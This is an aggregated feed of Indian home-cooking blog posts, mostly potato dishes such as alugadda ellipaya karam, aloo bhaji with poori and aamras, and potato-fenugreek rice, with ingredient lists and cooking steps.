  • Add curry leaves and let them crisp up. Now add the chopped potatoes and on high flame toss it well.
  • Sprinkle turmeric powder and salt. Toss the potatoes to the coat the spices and cook on high flame for 3 mor min.
  • Add the coarsely crushed garlic cloves with cumin seeds and toss the potatoes.
  • Keep the flame high and toss it regularly and roast it till the potatoes start crisping up and turning nice and golden brown.
  • Now add in red chili powder and give it a good toss.
  • Finally add in desiccated coconut / grated dry coconut and coat the potatoes.
  • Turn off the heat and serve hot alugadda ellipaya karam with rice and dal/rasam of your choice.

Notes

  • You can add ground coriander/dhaniya powder and garam masala for additional flavor.  

 If you’ve tried this recipe, please share your valuable feedback in the comments below. Also, you can Tag your photo and share it with #mycurryveda on Instagram @mycurryveda  or on Facebook. Also follow @taste.of.telangana on Instagram for more traditional recipes, culture, and stories.

The post ALUGADDA ELLIPAYA KARAM appeared first on mycurryveda.

Poori Bhaji Aamras - Summer Seasonal special

 Poori Aamras and Aloo Bhaji is almost everyone's favorite in Maharashtra and Gujarat. There will hardly be anyone who wouldn't like this combo.  During the mango season, this made in heaven match features in my home quite a few times  but surprisingly it never made to the blog .

The recipe for Aamras and Puri is already there on the blog while that off this simple yet tasty Aloo Bhaaji or Sabji will be shared today with you all . Every household has an heirloom recipe for making the aloo sabji depending on the family's liking . I am going to share a very very easy recipe which has been our favorite always. Preethi my blogger friend has a delicious recipe of Adraki Aloo which will also pair well these puris . The aamras has a little milk added while the aloo sabji is purely vegan . If you want to make the entire combo vegan friendly,you can skip the milk while preparing the aam ras .

This combo is so popular  and a hearthrob that people swarm like bees at restaurants to enjoy. Some popular restaurants in Bombay have carved a niche for serving this delectable mini thali during the Mango Season and have been featured in various food magazines and shows for their superior quality and popularity. 


Recipes for Poori & Aamras click below 




□□□□□□□□□□□□□□□□□

Preparation Time - 20 mins 
Cooking Time - 10 mins
Complexity - simple
Serves - 2 to 3 

Ingredients 

4 medium sized boiled potatoes 
2 small green chillies chopped
1/2 inch ginger finely chopped 
1 tsp mustard 
1/4 tsp udad dhall (optional)
1 tbsp oil
Pinch of turmeric 
1/4  tsp red chilli powder
Pinch of asafoetida 
1/2 tsp sugar
Salt as needed
Few curry leaves 
Finely chopped corriander 

Method 

  • Peel the skin of the potatoes and roughly crumble them.
  • Heat oil in a thick pan ,crackle the mustard seeds followed by udad dhall until the dal turns golden brown.
  • Fry the green chillies,  ginger , curry leaves and asafoetida. 
  • Add the crumbled potatoes, corriander leaves, turmeric ,red chilli powder ,salt and mix it well .
  • Sprinkle some water and cook covered for 2 to 3 mins till all the flavors blend well . Turn off the stove ,add the sugar,chopped corriander and mix it gently .
  • Serve hot with hot hot puris and Aamras .
  • You can also serve some thick coconut chutney also as an accompaniment. 

Pin me !!







Potato Rice - Urulaikizhangu Sadam

 POTATO RICE / URULAIKIZHANGU SADAM

Rice is the staple food thorough out our country. Especially so in the South since it is widely cultivated in this region. Eating cooked plain rice along with dal and vegetables has been a daily routine since ancient times. Traditionally prepared Variety Rice also known Chitra Anna or Kalanda Sadam is usually limited to only traditional festive menus. Not anymore !  Variety Rice has found its own special niche as a one pot meal in our daily meal plan . 

People who have hectic work schedules prefer one pot meals / lunch box meals for the ease of cooking , cleaning and time saving . Variety Rice comes in handy during these situations. Other than Pulavs , Biriyanis and the traditional Chitra Annas , more and more innovative rice recipes with South Indian flavour are coming up on culinary platforms . 

Here is a very simple Variety Rice prepared with Potatoes with a pleasant aroma of the nutritious Fenugreek leaves . 

                                                                                                 
INGREDIENTS

Cooked rice - 2 cups

Potatoes ( Pealed and cubed ) - 2 cups

Fenugreek leaves ( Washed and chopped ) - 2cups

Sesame oil - 2 tbsps

Mustard seeds - 1/4 tsp

Cumin seeds - 1/4 tsp

Asafoetida - 1 pinch

Curry leaves - a few

Turmeric powder - 1 pinch

Salt - 3/4 tsp

Sambar powder - 1 tsp

Chopped tomatoes - 1/2 cup 

METHOD

1. Heat oil in a kadai and splutter mustard seeds and cumin seeds.

2. Add asafoetida , turmeric powder and curry leaves.

3. Stir in the fenugreek leaves and cook till it wilts.

4. Add the potato cubes , stir , cover and cook on medium flame till almost done. 

                                                                                                                
5. Add salt and Sambar Powder and blend well with potatoes.

                                                                                                    
6. Cook till the potatoes are roasted and then add the tomatoes.

7. Keep stirring till the tomatoes are just cooked.

                                                                                         
8. Switch off flame and add cooked rice.

                                                                                          
9. Blend the rice well with the curry gently without mashing the rice or potatoes . A teaspoon of sesame oil can be added at this stage if you feel the rice is too dry.

                                                                                 
Enjoy the flavoursome Potato Rice with any raita of your choice or with thick plain curds,

Pumpkin & Potato in Mustard Oil

By: Rapti B
Pumpkin & potato are tempered with nigella seeds and slow-cooked in mustard oil for a dish that heroes the pumpkin’s sweetness.  Calling all home cooks looking for quick and healthy weekday/weeknight meal ideas – add this pumpkin & potato in mustard oil dish to your repertoire! It’s the kind that comes together in a jiffy, requires just one spice (coz salt and…

Sheekh Kebab Curry

By: Rapti B
A succulent, slightly spicy dish that comes together when sheekh kebabs and some veggies are simmered in a simple curry. Pair it with rice, roti or naan for a delicious meal. Frozen food, especially premade non-vegetarian food, has always been frowned upon in our household. The packets of readymade chicken tikkas and frozen mutton cutlets were only meant to be…
❌